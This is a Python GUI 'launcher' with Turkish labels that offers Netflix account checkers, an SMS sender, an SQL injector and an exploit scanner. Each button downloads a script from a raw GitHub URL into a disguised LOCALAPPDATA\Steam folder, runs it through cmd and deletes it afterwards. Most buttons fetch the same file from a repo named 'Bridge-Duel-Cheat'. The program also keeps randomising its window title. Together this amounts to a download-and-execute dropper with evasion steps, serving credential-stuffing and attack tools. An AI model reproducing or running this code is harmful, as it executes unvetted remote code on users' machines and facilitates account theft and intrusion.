import sys
import os
import subprocess
import time
import random
import string
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import customtkinter as ctk
from tkinter import messagebox, Tk, Label, Toplevel
import tkinter.ttk as ttk
ctk.set_appearance_mode("dark")
ctk.set_default_color_theme("dark-blue")
APPDATA_DIR = os.path.join(os.environ.get('LOCALAPPDATA', '.'), 'Steam')
os.makedirs(APPDATA_DIR, exist_ok=True)
APP_FILE = os.path.join(APPDATA_DIR, 'app.py')
BUTON_YAPISI = {
'STREAMING PLATFORMS': [
{'isim': 'NETFLIX CHECKER 1', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
{'isim': 'NETFLIX CHECKER 2', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
{'isim': 'NETFLIX CHECKER 3', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
{'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdaawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'}
],
'GAMING PLATFORMS': [
{'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
{'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duela-Cheat/main/app.py'},
{'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/smm.py'}
],
'GSM/SMM PLATFORMS': [
{'isim': 'SMS SENDER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/sms.py'},
{'isim': 'SMM PANEL', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/smm.py'}
],
'VPN PLATFORMS': [
{'isim': 'NORD VPN', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/nord.py'},
{'isim': 'PROXY LISTER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/proxy.py'}
],
'HACKING PLATFORMS': [
{'isim': 'SQL INJECTOR', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/sql.py'},
{'isim': 'EXPLOIT SCANNER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/exploit.py'}
],
' OTHER ': [
{'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'}
]
}
required_libs = ['requests', 'customtkinter']
missing_libs = []
for lib in required_libs:
try:
__import__(lib)
except ImportError:
missing_libs.append(lib)
if missing_libs:
root = Tk()
root.title('Sistem Hazırlanıyor...')
root.geometry('400x150')
root.configure(bg='#1a1a1a')
root.overrideredirect(True)
screen_width = root.winfo_screenwidth()
screen_height = root.winfo_screenheight()
x = (screen_width // 2) - 200
y = (screen_height // 2) - 75
root.geometry(f'400x150+{x}+{y}')
lbl = Label(root, text='Eksik Modüller Kuruluyor...', fg='white', bg='#1a1a1a', font=('Segoe UI', 12, 'bold'))
lbl.pack(pady=20)
progress = ttk.Progressbar(root, orient='horizontal', length=300, mode='determinate')
progress.pack(pady=10)
status_lbl = Label(root, text='', fg='#888', bg='#1a1a1a', font=('Segoe UI', 10))
status_lbl.pack()
progress['maximum'] = 100
current_progress = 0
for lib in missing_libs:
status_lbl.config(text=f'Yükleniyor: {lib}...')
root.update()
subprocess.check_call([sys.executable, '-m', 'pip', 'install', lib])
current_progress += 100 // len(missing_libs)
progress['value'] = current_progress
root.update()
time.sleep(0.5)
root.destroy()
def check_link_status(url, timeout=15):
try:
r = requests.head(url, timeout=timeout, allow_redirects=True)
if r.status_code in [200, 302]:
return True
return False
except:
return False
class App(ctk.CTk):
def __init__(self):
super().__init__()
self.title('Sistem Hazırlanıyor...')
self.geometry('1050x680')
self.minsize(900, 580)
self.protocol('WM_DELETE_WINDOW', self.on_closing)
self.grid_rowconfigure(0, weight=1)
self.grid_rowconfigure(1, weight=0)
self.grid_columnconfigure(1, weight=1)
self.update_title()
self.link_status = {}
self.status_labels = {}
self.dot_canvases = {}
self.category_frames = {}
self.button_refs = {}
self.toggle_labels = {}
self.sidebar = ctk.CTkFrame(self, width=260, corner_radius=0)
self.sidebar.grid(row=0, column=0, rowspan=2, sticky='nsew')
title_lbl = ctk.CTkLabel(self.sidebar, text='CHECKER DURUMU', font=ctk.CTkFont(size=15, weight='bold'))
title_lbl.pack(pady=(30, 15), padx=20, anchor='w')
for cat in BUTON_YAPISI.keys():
frame = ctk.CTkFrame(self.sidebar, fg_color='transparent')
frame.pack(fill='x', padx=18, pady=6)
dot_frame = ctk.CTkFrame(frame, fg_color='transparent')
dot_frame.pack(side='left', padx=(0, 12))
canvas = ctk.CTkCanvas(dot_frame, width=16, height=16, bg='#0f0f0f', highlightthickness=0)
canvas.pack()
oval = canvas.create_oval(3, 3, 13, 13, fill='#444', outline='')
lbl = ctk.CTkLabel(frame, text=cat, font=ctk.CTkFont(size=13))
lbl.pack(side='left')
count_lbl = ctk.CTkLabel(frame, text=f'0/{len(BUTON_YAPISI[cat])} adet', font=ctk.CTkFont(size=12), text_color='gray')
count_lbl.pack(side='right', padx=12)
self.status_labels[cat] = {'dot': (canvas, oval), 'count': count_lbl, 'main': lbl}
status_frame = ctk.CTkFrame(self.sidebar, fg_color='transparent')
status_frame.pack(side='bottom', fill='x', padx=18, pady=20)
status_lbl = ctk.CTkLabel(status_frame, text='GENEL DURUM:', font=ctk.CTkFont(size=12))
status_lbl.pack(side='left')
self.global_status = ctk.CTkLabel(status_frame, text='KONTROL...', font=ctk.CTkFont(size=11), text_color='gray')
self.global_status.pack(side='right', padx=15)
self.main_area = ctk.CTkScrollableFrame(self, corner_radius=0)
self.main_area.grid(row=0, column=1, sticky='nsew', padx=12, pady=10)
header_lbl = ctk.CTkLabel(self.main_area, text='Platformlar', font=ctk.CTkFont(size=26, weight='bold'))
header_lbl.pack(anchor='w', pady=(25, 20), padx=20)
for kategori, liste in BUTON_YAPISI.items():
self.create_category_section(kategori, liste)
self.bottom_frame = ctk.CTkFrame(self, height=55, fg_color='#181818', corner_radius=0)
self.bottom_frame.grid(row=1, column=1, sticky='ew', columnspan=2)
status_text = f'{sum(len(v) for v in BUTON_YAPISI.values())} kontrol ediliyor...'
self.status_lbl = ctk.CTkLabel(self.bottom_frame, text=status_text, font=ctk.CTkFont(size=12))
self.status_lbl.pack(side='left', padx=25, pady=10)
self.progress = ctk.CTkProgressBar(self.bottom_frame, mode='indeterminate', width=280)
self.progress.pack(side='left', padx=20, pady=10)
self.progress.start()
self.exit_btn = ctk.CTkButton(self.bottom_frame, text="Launcher'ı Kapat", fg_color='#dc2626', hover_color='#b91c1c', width=140, command=self.on_closing)
self.exit_btn.pack(side='right', padx=25, pady=10)
self.after(100, self.check_all_links)
def update_title(self):
random_text = ''.join(random.choices(string.ascii_uppercase + string.digits, k=15))
self.title(f'Launcher | {random_text}')
self.after(6000, self.update_title)
def on_closing(self):
self.destroy()
def create_category_section(self, kategori, items):
frame = ctk.CTkFrame(self.main_area, fg_color='#1a1f2e', corner_radius=10)
frame.pack(fill='x', pady=(0, 12), padx=20, ipady=2)
header = ctk.CTkFrame(frame, fg_color='#1a1f2e', corner_radius=10)
header.pack(fill='x', pady=(0, 2), padx=12, ipady=8)
toggle_label = ctk.CTkLabel(header, text='▼', font=ctk.CTkFont(size=17, weight='bold'), text_color='#aaa', width=20)
toggle_label.pack(side='left', padx=(0, 12))
cat_lbl = ctk.CTkLabel(header, text=kategori, font=ctk.CTkFont(size=17, weight='bold'))
cat_lbl.pack(side='left')
count_text = f'({len(items)})'
count_lbl = ctk.CTkLabel(header, text=count_text, font=ctk.CTkFont(size=14), text_color='gray')
count_lbl.pack(side='left', padx=6)
self.toggle_labels[kategori] = toggle_label
content = ctk.CTkFrame(frame, fg_color='transparent')
content.pack(fill='x', padx=12, pady=(0, 12))
def toggle():
if content.winfo_ismapped():
content.pack_forget()
toggle_label.configure(text='+')
else:
content.pack(fill='x', padx=12, pady=(0, 12))
toggle_label.configure(text='▼')
header.bind('<Button-1>', lambda e: toggle())
cat_lbl.bind('<Button-1>', lambda e: toggle())
toggle_label.bind('<Button-1>', lambda e: toggle())
for item in items:
w = ctk.CTkFrame(content, fg_color='#000000', corner_radius=8)
w.pack(fill='x', pady=6, padx=6)
name_lbl = ctk.CTkLabel(w, text=item['isim'], font=ctk.CTkFont(size=14, weight='bold'))
name_lbl.pack(side='left', padx=12, pady=12)
btn = ctk.CTkButton(w, text='BAŞLAT', fg_color='#3b3b3b', hover_color='#4a4a4a',
font=ctk.CTkFont(size=13, weight='bold'), state='disabled',
command=lambda link=item['link'], name=item['isim']: self.start_process(link, name),
height=32, corner_radius=6)
btn.pack(side='right', padx=12)
self.button_refs[item['link']] = btn
self.category_frames[kategori] = content
def check_all_links(self):
all_items = []
for cat, items in BUTON_YAPISI.items():
for item in items:
all_items.append((cat, item))
self.progress.start()
def update_category_status(cat, working, total):
if cat in self.status_labels:
canvas, oval = self.status_labels[cat]['dot']
canvas.itemconfig(oval, fill='#22c55e' if working == total else '#eab308' if working > 0 else '#ef4444')
self.status_labels[cat]['count'].configure(text=f'{working}/{total} adet')
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {}
for cat, item in all_items:
future = executor.submit(check_link_status, item['link'])
futures[future] = (cat, item)
for future in as_completed(futures):
cat, item = futures[future]
try:
result = future.result(timeout=15)
except:
result = False
self.link_status[item['link']] = result
if result and item['link'] in self.button_refs:
self.button_refs[item['link']].configure(state='normal', fg_color='#6366f1', hover_color='#4f46e5')
elif item['link'] in self.button_refs:
self.button_refs[item['link']].configure(state='disabled', fg_color='#3f3f46', hover_color='#3f3f46')
cat_items = [x for x in all_items if x[0] == cat]
cat_working = sum(1 for x in cat_items if self.link_status.get(x[1]['link'], False))
update_category_status(cat, cat_working, len(cat_items))
self.update_global_status()
self.progress.stop()
def update_global_status(self):
all_items = []
for cat, items in BUTON_YAPISI.items():
all_items.extend(items)
total = len(all_items)
working = sum(1 for item in all_items if self.link_status.get(item['link'], False))
if working == total:
color = '#22c55e'
text = 'TAMAMI ÇALIŞIYOR'
elif working > 0:
color = '#eab308'
text = f'{working} ÇALIŞIYOR'
else:
color = '#ef4444'
text = 'ÇALIŞMIYOR'
self.global_status.configure(text=text, text_color=color)
self.status_lbl.configure(text=f'{working}/{total} link çalışıyor | Hazır')
def start_process(self, target_url, checker_name):
try:
r = requests.get(target_url, timeout=15)
r.raise_for_status()
with open(APP_FILE, 'wb') as f:
f.write(r.content)
print(f'Başlatıldı → {checker_name}')
subprocess.Popen(f'start cmd /c python "{APP_FILE}" & timeout /t 2 & del "{APP_FILE}"', shell=True)
except Exception as e:
messagebox.showerror('Hata', f'Hata oluştu!\n{str(e)}')
def main():
app = App()
app.mainloop()
if __name__ == '__main__':
main()